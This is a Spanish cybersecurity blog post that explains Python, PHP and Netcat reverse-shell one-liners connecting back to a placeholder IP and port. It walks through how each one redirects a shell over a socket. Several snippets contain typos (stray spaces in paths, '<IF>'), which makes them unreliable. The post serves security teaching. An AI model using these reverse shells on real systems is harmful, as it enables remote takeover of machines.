3 conexiones inversas con reGeorg

| Última modificación: 5 de julio de 2024 | Tiempo de Lectura: 4 minutos

Algunos de nuestros reconocimientos:

Premios KeepCoding

Existen múltiples formas de establecer conexiones inversas con reGeorg, una vez el Red Team cuenta con la posibilidad de ejecutar comandos en la máquina u ordenador que esté comprometido. Algunas de las Conexiones inversas con reGeorg más comunes son:

  • #Python:
python -c ' import
socket, subprocess, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect ((
"<IF>", <puerto>)); os.dup2 (s.fileno (), 0); os.dup2 (s.fileno (), 1);
os.dup2 (s.fileno (), 2); p = subprocess.call (["/bin /sh", "-i"]); '
  • #PHP:
php -r '$sock = fsockopen ("<IP>", <puerto>); exec ("/bin /sh -i <&3 >&3 >&3 2>&3");'
  • #Netcat:
nc -e /bin /sh <IP> <puerto>
rm /tmp /f ; mkfifo /tmp /f ; cat /tmp / f | /bin /sh -i 2>&1 | nc <IP> <puerto> >/tmp /f

En este post, veremos cómo funciona cada una de ellas.

Conexiones inversas con reGeorg

¿Qué encontrarás en este post?

Conexiones inversas con reGeorg

Python

El código desglosado de la primera de las conexiones inversas con reGeorg, hecha con Python, sería:

import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Crear un objeto de socket
s.connect(("<IF>", <puerto>)) #Conectar el socket a una dirección IP y puerto específicos
os.dup2(s.fileno(), 0) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 0 (entrada estándar)
os.dup2(s.fileno(), 1) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 1 (salida estándar)
os.dup2(s.fileno(), 2) #Duplicar el descriptor de archivo del socket en el descriptor de archivo 2 (error estándar)
p = subprocess.call(["/bin/sh", "-i"]) #Ejecutar el shell interactivo en el sistema

Lo que sucede con la primera de las conexiones inversas con reGeorg es:

  1. Se importan los módulos necesarios: socket, subprocess y os. Estos módulos proporcionan funcionalidades para crear sockets, ejecutar comandos del sistema y manipular descriptores de archivo.
  2. Se crea un objeto de socket utilizando socket.socket(socket.AF_INET, socket.SOCK_STREAM). Esto crea un socket TCP/IP.
  3. Se establece una conexión utilizando el método s.connect(("IP", puerto)), donde debes reemplazar <IF> con la dirección IP o nombre del host y <puerto> con el número de puerto al que deseas conectarte.
  4. A continuación, se utilizan los métodos os.dup2() para duplicar el descriptor de archivo del socket en los descriptores de archivo 0, 1 y 2. Esto redirige la entrada estándar, salida estándar y error estándar al socket.
  5. Finalmente, se utiliza subprocess.call() para ejecutar el shell interactivo en el sistema. Esto permite ejecutar comandos en el sistema remoto a través del socket.

PHP

El código desglosado de la segunda de las conexiones inversas con reGeorg, hecha con PHP, sería:

$sock = fsockopen("<IP>", <puerto>); //Abrir una conexión de socket a una dirección IP y puerto específicos
exec("/bin/sh -i <&3 >&3 >&3 2>&3"); //Ejecutar el shell interactivo en el sistema

Podríamos explicar el código del siguiente modo:

  1. Se utiliza la función fsockopen("<IP>", <puerto>) para abrir una conexión de socket a una dirección IP y puerto específicos. Debes reemplazar <IP> con la dirección IP o nombre del host al que deseas conectarte y <puerto> con el número de puerto al que deseas conectarte.
  2. A continuación, se utiliza la función exec() para ejecutar un comando en el sistema. En este caso, el comando que se ejecuta es "/bin/sh -i <&3 >&3 >&3 2>&3". Este comando ejecuta un shell interactivo en el sistema.

Netcat

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

El código intenta establecer conexiones inversas con reGeorg entre dos máquinas a través de una red. Veamos cómo funciona:

  1. nc -e /bin/sh <IP> <puerto>: esto inicia el comando nc (Netcat) con la opción -e para ejecutar un programa; en este caso, /bin/sh (el shell de Unix) en la máquina remota identificada con <IP> y <puerto>. Esto permite la ejecución remota de comandos en la máquina objetivo.
  2. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <puerto> >/tmp/f: este comando utiliza tuberías y redirecciones para establecer una conexión inversa de shell. Comienza eliminando un archivo /tmp/f si existe. Luego, crea un nuevo archivo FIFO (first-in, first-out) llamado /tmp/f utilizando mkfifo. Después, utiliza cat para leer los datos de /tmp/f y redirigirlos a /bin/sh -i, que es otro intento de invocar el shell interactivo. A continuación, redirige la entrada y salida estándar de este proceso shell a nc <IP> <puerto>.

Cabe aclarar que estas conexiones inversas con reGeorg pueden llegar a ser muy peligrosas si no se usan adecuadamente, de ahí que se resalte la importancia de usarlas con fines éticos. Si te ha gustado el tema y quieres aprender más, accede a nuestro Ciberseguridad Full Stack Bootcamp para convertirte en todo un profesional de la seguridad informática en poco tiempo. Con esta formación de alta intensidad, nuestros profesores expertos te enseñarán a nivel teórico y práctico para catapultarte en el mercado laboral. ¡Pide ya mismo más información y da el paso que cambiará tu futuro!

Carlos Cilleruelo

CEO and co-founder of Byron Labs & Coordinador del Bootcamp en Ciberseguridad.

Posts más leídos

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado